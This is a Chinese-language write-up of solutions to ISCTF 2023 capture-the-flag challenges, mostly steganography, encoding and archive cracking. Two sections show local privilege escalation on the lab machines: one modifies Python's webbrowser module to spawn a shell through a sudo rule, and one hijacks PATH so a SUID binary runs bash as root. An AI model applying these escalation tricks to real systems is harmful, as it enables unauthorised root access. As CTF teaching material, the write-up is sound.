脑洞题没做出来还是挺遗憾的。

Screenshot-202311301225.webp

签到题

关注公众号,回复关键词:小蓝鲨,我想打ctf

easy_zip

密码忘了?直接破啊。

Screenshot-202311292156.webp

杰伦可是流量明星

binwalk 一下可以发现这个 login.mp3 后面还藏了一个 login.pcapng,怪不得说是「流量明星」。不难找到 Flag:

Screenshot-202311292208.webp

蓝鲨的福利

实际上是一个 PNG 文件,但是文件头被扬了,自己补上:

Screenshot-202311292211.webp

然后就能正常打开图片看到 Flag 了。

你说爱我?尊嘟假嘟

总共三种状态「你说爱我」「尊嘟」「假嘟」,考虑是 Ook!。至于那个对应哪个,情况不多,稍微试一下就知道了(其实不论是什么字符,Ook! 第一行都是 Ook.,所以「你说爱我」对应 Ook. 很容易知道)。

将「你说爱我」「尊嘟」「假嘟」分别替换为 Ook.Ook!Ook?,然后用 Ook! 解释器 解释一下就能得到 Base64 编码(但是字母表是 0-9a-zA-Z)的 Flag 了。

小蓝鲨的秘密

首先是一个压缩包,是伪加密。处理后解压能得到一张 PNG 图片以及:

1
2
3
可爱的小蓝鲨不知道这个字符串是什么,强大的你,你能告诉小蓝鲨吗?

U2FsdGVkX1/ij5Hxtt6G8tDvbXIQcMLJ6isLpLmxqxW8mOmFIB4DgBGXSR3ceEcj

修改一下 PNG 图片的高度,可以发现下面还藏着几个字符:15CTF2023。稍微尝试一下就可以知道是 AES 加密,以此为密码解密上面的字符串,得到 Flag。

Ez_misc

压缩包密码藏在了 PPT 的幻灯片备注中:

Screehshot-202311292234.webp

解压后得到一个… 你没看错,是二维码,扫它就完事了。

spalshes

奇奇怪怪的数字,换个思路试试看

谢谢出题师傅的提示,使我的大脑旋转。别看哪个 TXT 文件了,直接爆破压缩包的密码。解压后得到一个二维码,一扫就给 Flag。

PNG的基本食用

本题直接把 Flag 分成三部分,使用三种 PNG 隐写手法分别隐藏在三张图片中。第一部分:修改 PNG 图片高度;第二部分:LSB 隐写;第三部分:图种。

Screenshot-202311292244.webp

小猫

不难发现这个图片有 LSB 隐写,可以扒出另一张图片,其内容为「社会主义核心价值观」。并且,图片的左上角写有一些坐标,但是对比度很低,稍作处理可以读出其内容:

1
2
3
4
5
6
7
8
9
10
11
12
3,2  3,2  3,2  3,3  3,1  3,2  2,1
3,2 4,2 4,2 3,3 2,1 3,2 2,1
3,2 4,1 3,2 2,1 4,1 2,1 4,1
2,3 4,1 2,2 3,2 3,2 3,2 1,2
4,1 4,1 3,2 1,2 4,1 1,1 3,2
3,2 4,1 3,1 4,1 4,1 4,1 2,3
4,1 3,1 4,1 2,2 4,1 1,2 4,1
1,3 3,2 1,2 4,1 1,1 4,1 3,1
4,1 2,3 4,1 4,2 4,1 3,2 4,1
4,2 3,2 1,2 3,2 3,1 3,2 3,2
4,1 4,2 4,1 3,2 4,1 3,2 4,2
4,3 4,2

写个脚本处理一下,将结果进行「社会主义核心价值观」解码即可:

1
2
3
4
5
6
7
8
9
10
11
rep = [
['富强', '民主', '文明', '和谐'],
['自由', '平等', '公正', '法治'],
['爱国', '敬业', '诚信', '友善']
]

source = open('pos.txt').read().replace('\n', ' ').replace(' ', ' ')

for i in source.split(' '):
x, y = i.split(',')
print(rep[int(y)-1][int(x)-1], end='')

MCSOG-猫猫

在交流群中发送「flag在哪」可以获得猫猫的回复「‌‌‌‌‌‌‌‬‬‌‎‌‌‌‌‌‌‎‌‌‌‬‌‌‌‌‌‌‌‬‎‎‎‌‌‌‌‌‌‎‌‌‎‌‌‌‌‌‌‌‌‬‎‬‎‌‌‌‌‌‌‎‎‎‬‌‌‌‌‌‌‌‎‌‎‌‎‌‌‌‌‌‌‎‎‌‎‌‌‌‌‌‌‌‎‌‎‎‌‌‌‌‌‌‌‌‬‎‬‎‌‌‌‌‌‌‌‎‬‎‌‌‌‌‌‌‌‎‎‌‎‌‌‌‌‌‌‌‌‬‬‬‎‌‌‌‌‌‌‌‎‬‌‎‌‌‌‌‌‌‌‬‬‎‎‌‌‌‌‌‌‎‎‌‌‌‌‌‌‌‌‌‎‌‬‬‌‌‌‌‌‌‌‌‬‬‌‎‌‌‌‌‌‌‎‌‎‎‬‌‌‌‌‌‌‌‬‎‎‌‌‌‌‌‌‌‎‎‎‌‌‌‌‌‌‌‌‎‌‎‎‬‌‌‌‌‌‌‌‬‎‎‬‌‌‌‌‌‌‌‎‬‬‎‌‌‌‌‌‌‌‬‬‬‌‌‌‌‌‌‌‎‌‬‎‎‌‌‌‌‌‌‎‌‎‎‬‌‌‌‌‌‌‎‎‌‬‌‌‌‌‌‌‌‌‎‬‬‌‌‌‌‌‌‌‌‬‬‬‌‌‌‌‌‌‌‎‎‎‬‬flag我来啦」,事实上这段消息中有一堆零宽字符(不信你把这整段话复制到 Cyberchef 中),Flag 就藏在其中。

分析后得知其中出现的零宽字符有 U+200CU+200EU+202C,使用工具配置后解码即可。

镜流

压缩包密码是什么我不知道,反正看到 ZipCrypto Store 的 PNG 文件我就想直接明文攻击,此处咱使用 bkcrack 解压了压缩包(相关教程互联网上能搜到很多,此处不再赘述)。得到一个 PNG 图片及提示「把图片缩小 10 倍」,手搓代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image
import numpy as np

input_file = '1new.png'
output_file = '1new_min.png'

input_image = Image.open(input_file)
w, h = input_image.size
input_image = np.array(input_image)
output_image = []

for i in range(0, h, 10):
line_pixel = []
for j in range(0, w, 10):
pixel = input_image[i,j]
line_pixel.append(pixel)
output_image.append(line_pixel)

output_image = np.array(output_image)
output_image = Image.fromarray(output_image)
output_image.save(output_file)

然后就获得了另一张图片,而这张图片有 LSB 隐写,使用 Stegsolve 可以提取到最后一张图片,图片里写着 Flag。

stream

别和我谈什么 tshark 了,这题直接手搓就可以:找所有 frame.len == 1072 的 HTTP Response 对应的 HTTP Request,按顺序扒出其中的字符就行了。本题抢到一血主打一个手速。

一心不可二用

在 APK 中可以找到一个 flag.zip,其注释为:

1
2
3
4
5
6
  File "script.py", line 2

^
TabError: unexpected EOF while parsing

Exited with error status 1

用过 Python 的师傅都知道 unexpected EOF while parsing 应该是 SyntaxError,所以压缩包的密码是 SyntaxError。解压后得到 Flag。

脑洞题。

小白小黑

其中一些数字代表白色,剩下的数字代表黑色,直接作图发现是二维码,扫描后得到 Flag。Cyberchef 一把梭:

Screenshot-202311292317.webp

张万森,下雪了

tip.txt 中是 Base64 套娃,写一个脚本处理一下:

1
2
3
4
5
6
7
8
9
10
11
import base64

source = open('tip.txt').read().strip()

while True:
try:
source = base64.b64decode(source).decode()
except:
break

print(source)

将得到的内容进行字符频率统计,发现频率降序的前几个字母(ISCTFZ023)有意义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
decoded = open('decode.txt').read().strip()

chars = "".join(list(set(decoded)))

result = []

for char in chars:
result.append((char, decoded.count(char)))

result = sorted(result, key=lambda x: x[1], reverse=True)
result = "".join([i[0] for i in result])

print(result)
print(len(result))

注意到 flag.txt 中有一堆空格和制表符,结合题目「下雪了」可以差得一个叫 SNOW 的隐写方式。使用工具解码得到 Flag:

1
./SNOW.EXE -C -p ISCTFZ023 flag.txt

sudopy

SSH 连上靶机,发现所给账号没有权限读取 flag,先 sudo -l 看一眼:

1
2
3
4
5
6
Matching Defaults entries for ctf on 2f4cee5bd969:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User ctf may run the following commands on 2f4cee5bd969:
(ALL) NOPASSWD: /usr/bin/python3 /home/ctf/web.py

发现可以用 sudo 执行 /usr/bin/python3 /home/ctf/web.py,而 web.py 中用到了 webbrowser:

1
2
3
4
5
6
7
8
9
10
11
12
import webbrowser

def open_website(url):
try:
webbrowser.open(url)
print(f"Opening {url} in your default web browser...")
except Exception as e:
print(f"An error occurred: {e}")

website_url = "https://www.genshin.com"

open_website(website_url)

虽然不能修改 web.py,但是可以修改 webbrowser.py。使用 find 命令找到文件位于 /usr/lib/python3.10/webbrowser.py 在其中适合的位置插入一句 os.system('/bin/bash'),然后执行 sudo /usr/bin/python3 /home/ctf/web.py,就可以获得一个 root 的 Shell,然后就可以读取 flag 了。

ezUSB

USB 流量的分析可以参考 SHCTF 2023: ez_usb,详细手法日后补上。本题多了一步维吉尼亚解密:

1
2
3
AGGSZ{Kp_wn_YRV_sov_jmfyffjs!!!}
soezu sb so ezu sbs oezusbso
ISCTF{So_ez_USB_and_vigenere!!!}

EZcrc

简单的crc爆破

本题给了一个压缩包,其中有 200+ 个 TXT 文件,但是原始大小只有 3 字节,显然是 CRC 爆破。不过一番尝试后发现 TXT 文件内容并不是 ASCII,所以每个字节就在 128~255 之间进行爆破。

得到的一串中文通过一些刁钻的转换方法处理后可以得到两次 Base64 编码后的字符串,解码后得到 Flag。完整的解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from binascii import crc32
import zipfile
import base64

# Step 0: 计算一下 CRC32 的值
crcs = {}
chars = range(128, 256)
for i in chars:
for j in chars:
for k in chars:
crcs[crc32(bytes([i, j, k]))] = [i, j, k]

# Step 1: 读取 flag.zip 中的文件 CRC32 值
zip_ref = zipfile.ZipFile("flag.zip", "r")
files = {}
for file in zip_ref.infolist():
files[int(file.filename.rstrip(".txt"))] = file.CRC
files = sorted(files.items(), key=lambda x: x[0])
files = [i[1] for i in files]

# Step 2: 根据 CRC32 值找到对应的字符
cipher = ""
for file in files:
cipher += bytes(crcs[file]).decode()

# Step 3: 对字符串进行解码(此表不一定对)
source = "零壹贰叁肆伍陆柒捌玖啊玻吃得鹅佛哥喝一基科勒摸讷喔坡欺日思特乌迂巫希歪资"
target = "0123456789abcdefghijklmnopqrstuvwxyz"
dictionary = dict(zip(source, target))
plain = ""
pos = 0
while pos < len(cipher):
if cipher[pos:pos+3] == "大写的":
plain += dictionary[cipher[pos+3]].upper()
pos += 4
else:
plain += dictionary[cipher[pos]]
pos += 1

# Step 4: Base64 解码
plain = base64.b64decode(plain)
plain = base64.b64decode(plain)

# Step 5: 输出结果
print(plain.decode())

status

本题和 sudopy 一样需要提权。首先查一下 SUID 文件:

1
2
3
4
ctf@e4ce5b77df30:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/home/ctf/checkgenshin

发现 /home/ctf/checkgenshin 是 SUID 文件,将其下载下来后进行逆向,发现其会用 root 执行命令 service ssh status。那就直接给他把 service 劫持了:

1
2
3
4
5
6
ctf@e4ce5b77df30:~$ export PATH=/home/ctf:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
ctf@e4ce5b77df30:~$ cp /bin/bash ./service
ctf@e4ce5b77df30:~$ echo "/bin/bash" > ssh
ctf@e4ce5b77df30:~$ ./checkgenshin
root@e4ce5b77df30:~# cat flag
ISCTF{709a0f3f-061d-4708-9127-50765326b14c}

DISK

题给 VHD 文件中有好几个 TXT 文件,但是其文件名解码后发现是个假 Flag。查询 NTFS 文件系统日志可以发现其文件名被更改过,而且能找到原来的文件名,处理(long_to_bytes)后得到 Flag:

1
2
3
4
5
6
7
8
9
1230193492.txt ISCT
1182487903.txt F{U_
1918846768.txt r_G0
811884366.txt 0d_N
1413895007.txt TFS_
1298230881.txt Mana
1734701693.txt ger}

ISCTF{U_r_G00d_NTFS_Manager}

你若是问咱如何查询 NTFS 文件系统日志,咱是不知道的,因为咱的解法如下。如果你直接对 VHD 文件进行字节分析,或许也可以注意到 /[0-9]{9,10}\.txt/ 的字符串,其实直接提取出来就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import long_to_bytes
import re

source = open('DISK.vhd', 'rb').read()
ascii_chars = ''

for byte in source:
if 0x20 <= byte <= 0x7e:
ascii_chars += chr(byte)

filenames = re.findall(r'([0-9]{9,10})\.txt', ascii_chars)
ciphers = []
for filename in filenames:
cipher = int(filename)
if cipher not in ciphers:
ciphers.append(cipher)

for cipher in ciphers:
print(long_to_bytes(cipher).decode(), end="")